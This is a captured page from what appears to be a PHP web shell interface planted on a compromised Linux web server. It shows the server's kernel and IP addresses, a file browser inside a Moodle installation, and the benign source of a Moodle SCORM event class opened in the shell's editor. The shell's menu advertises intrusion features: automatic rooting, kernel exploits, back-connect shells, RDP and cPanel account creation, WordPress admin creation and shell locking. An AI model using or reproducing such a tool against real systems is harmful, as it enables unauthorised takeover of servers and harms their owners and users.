Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.38.198
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
scorm /
classes /
event /
[ HOME SHELL ]
Name
Size
Permission
Action
attempt_deleted.php
3.03
KB
-rw-r--r--
cmielement_submitted.php
3.5
KB
-rw-r--r--
course_module_instance_list_vi...
1.23
KB
-rw-r--r--
course_module_viewed.php
1.9
KB
-rw-r--r--
interactions_viewed.php
3.7
KB
-rw-r--r--
report_viewed.php
3.34
KB
-rw-r--r--
sco_launched.php
3.4
KB
-rw-r--r--
scoreraw_submitted.php
2.12
KB
-rw-r--r--
status_submitted.php
2.43
KB
-rw-r--r--
tracks_viewed.php
4.02
KB
-rw-r--r--
user_report_viewed.php
3.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cmielement_submitted.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * The mod_scorm generic CMI element submitted event. * * @package mod_scorm * @copyright 2016 onwards Matteo Scaramuccia * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace mod_scorm\event; defined('MOODLE_INTERNAL') || die(); /** * The mod_scorm generic CMI element submitted event class. * * @property-read array $other { * Extra information about event properties. * * - int attemptid: Attempt id. * - string cmielement: CMI element. * - string cmivalue: CMI value. * } * * @package mod_scorm * @since Moodle 3.1 * @copyright 2016 onwards Matteo Scaramuccia * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class cmielement_submitted extends \core\event\base { /** * Init method. */ protected function init() { $this->data['crud'] = 'u'; $this->data['edulevel'] = self::LEVEL_PARTICIPATING; $this->data['objecttable'] = 'scorm_scoes_track'; } /** * Returns non-localised description of what happened. * * @return string */ public function get_description() { return "The user with the id '$this->userid' submitted the element '{$this->other['cmielement']}' " . "with the value of '{$this->other['cmivalue']}' " . "for the attempt with the id '{$this->other['attemptid']}' " . "for a scorm activity with the course module id '$this->contextinstanceid'."; } /** * Get URL related to the action * * @return \moodle_url */ public function get_url() { return new \moodle_url('/mod/scorm/report/userreport.php', array('id' => $this->contextinstanceid, 'user' => $this->userid, 'attempt' => $this->other['attemptid'])); } /** * Custom validation. * * @throws \coding_exception * @return void */ protected function validate_data() { parent::validate_data(); if (empty($this->other['attemptid'])) { throw new \coding_exception("The 'attemptid' must be set in other."); } if (empty($this->other['cmielement'])) { throw new \coding_exception("The 'cmielement' must be set in other."); } // Trust that 'cmielement' represents a valid CMI datamodel element: // just check that the given value starts with 'cmi.'. if (strpos($this->other['cmielement'], 'cmi.', 0) !== 0) { throw new \coding_exception( "A valid 'cmielement' must start with 'cmi.' ({$this->other['cmielement']})."); } // Warning: 'cmivalue' could be also "0" e.g. when 'cmielement' represents a score. if (!isset($this->other['cmivalue'])) { throw new \coding_exception("The 'cmivalue' must be set in other."); } } }
Close